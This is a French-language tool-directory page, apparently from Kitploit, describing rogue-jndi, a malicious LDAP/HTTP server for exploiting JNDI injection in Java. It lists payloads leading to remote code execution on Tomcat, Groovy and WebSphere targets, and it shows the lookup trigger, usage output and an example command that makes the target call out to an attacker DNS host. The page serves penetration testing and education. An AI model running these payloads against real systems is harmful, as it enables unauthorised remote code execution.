Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
rogue-jndi — Un serveur LDAP malveillant pour les attaques par injection JNDI | Kitploit
Outils/GitHubGitHub/veracode-research/rogue-jndi
ExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubveracode-research/rogue-jndi

rogue-jndi

Un serveur LDAP malveillant pour les attaques par injection JNDI

Voir le dépôt
1.1k2273il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rogue JNDI

Un serveur LDAP malveillant pour les attaques par injection JNDI.

Description

Le projet contient des serveurs LDAP et HTTP pour exploiter l'API Java JNDI non sécurisée par défaut.
Afin de mener une attaque, vous pouvez démarrer ces serveurs localement, puis déclencher une résolution JNDI sur le client vulnérable, par exemple :

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Cela initiera une connexion du client vulnérable au serveur LDAP local. Ensuite, le serveur local répond avec une entrée malveillante contenant l'un des payloads, ce qui peut être utile pour parvenir à une exécution de code à distance (RCE).

Motivation

En plus des méthodes d'attaque JNDI connues (via le chargement de classes distant dans les références), cet outil apporte de nouveaux vecteurs d'attaque en exploitant la puissance des ObjectFactories.

Payloads pris en charge

  • RemoteReference.java — attaque JNDI classique, mène à une RCE via le chargement de classes distant, fonctionne jusqu'à jdk8u191
  • Tomcat.java — mène à une RCE via une réflexion non sécurisée dans
org.apache.naming.factory.BeanFactory
  • Groovy.java — mène à une RCE via une réflexion non sécurisée dans org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java — mène à une XXE hors bande (OOB) dans com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java — mène à une RCE via la manipulation du classpath dans com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
  • Utilisation

    root@kitploit:~
    $ java -jar target/RogueJndi-1.0.jar -h
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Usage: java -jar target/RogueJndi-1.0.jar [options]
      Options:
        -c, --command  Command to execute on the target server (default: 
                       /Applications/Calculator.app/Contents/MacOS/Calculator) 
        -n, --hostname Local HTTP server hostname (required for remote 
                       classloading and websphere payloads) (default: 
                       192.168.1.10) 
        -l, --ldapPort Ldap bind port (default: 1389)
        -p, --httpPort Http bind port (default: 8000)
        --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                       (default: /list.wsdl)
        --localjar     [websphere2 payload option] Local jar file to load (this 
                       file should be located on the remote server) (default: 
                       ../../../../../tmp/jar_cache7808167489549525095.tmp) 
        -h, --help     Show this help
    

    Les paramètres les plus importants sont le nom d'hôte du serveur LDAP (-n, qui doit être accessible depuis la cible) et la commande que vous souhaitez exécuter sur le serveur cible (-c).

    En alternative à l'option « -c », vous pouvez modifier le fichier ExportObject.java en y plaçant le code Java que vous souhaitez exécuter sur le serveur cible.

    Exemple :

    root@kitploit:~
    $ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Starting HTTP server on 0.0.0.0:8000
    Starting LDAP server on 0.0.0.0:1389
    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
    

    Compilation

    Java v1.7+ et Maven v3+ requis

    root@kitploit:~
    mvn package
    

    Avertissement

    Ce logiciel est fourni uniquement à des fins éducatives et/ou pour tester des systèmes que l'utilisateur a l'autorisation préalable d'attaquer.

    Remerciements particuliers

    • Alvaro Muñoz et Oleksandr Mirosh pour l'excellent livre blanc sur les attaques JNDI
    • @zerothoughts pour le dépôt inspirant spring-jndi
    • Moritz Bechler pour l'éminente recherche marshallsec
    • Orange Tsai et Welk1n pour le gadget Apache + Groovy

    Liens

    • Un article sur Exploiting JNDI Injections in Java dans le blog de Veracode
    • How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

    Auteurs

    Michael Stepankin

    Télécharger l’outil